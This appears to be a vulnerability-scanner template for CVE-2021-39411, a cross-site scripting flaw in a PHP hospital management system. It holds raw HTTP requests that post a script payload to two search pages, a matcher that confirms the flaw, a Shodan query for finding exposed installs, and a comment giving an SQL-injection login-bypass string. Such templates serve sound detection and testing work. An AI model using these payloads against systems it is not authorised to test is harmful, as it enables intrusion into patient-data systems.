漏洞描述
Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php and patient-search.php.
id: CVE-2021-39411
info:
name: Hospital Management System 1.0 - Cross-Site Scripting
author: arafatansari
severity: high
description: |
Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php and patient-search.php.
reference:
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-39411&scoretype=cvssv3
- https://nvd.nist.gov/vuln/detail/CVE-2021-39411
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2021-39411
epss-score: 0.01665
epss-percentile: 0.81595
cwe-id: CWE-79
cpe: cpe:2.3:a:phptpoint:hospital_management_system:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
shodan-query: http.html:"Hospital Management System"
comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
product: hospital_management_system
vendor: phptpoint
tags: cve,cve2021,hms,hospital,cms,xss,authenticated,vuln
http:
- raw:
- |
POST /hms/doctor/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&submit=
- |
POST /hms/doctor/search.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
- |
POST /hms/admin/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&submit=
- |
POST /hms/admin/patient-search.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
matchers:
- type: dsl
dsl:
- 'contains(header_2, "text/html") || contains(header_4, "text/html")'
- "status_code_2 == 200 || status_code_4 == 200"
- 'contains(body_2, ''Result against \"<script>alert(document.domain)</script>\" keyword'') || contains(body_4, ''Result against \"<script>alert(document.domain)</script>\" keyword'')'
condition: and
# digest: 4a0a00473045022048b2097d4f1eed6a28dadec2b092e5963f7179e0e13255661334c9f76bb9585b022100f0ca61b337c2c4f3dbbb131c19b43779c3eb224d840f9a7c25b2b0a5cf7bc88b:922c64590222798bb761d5b6d8e72950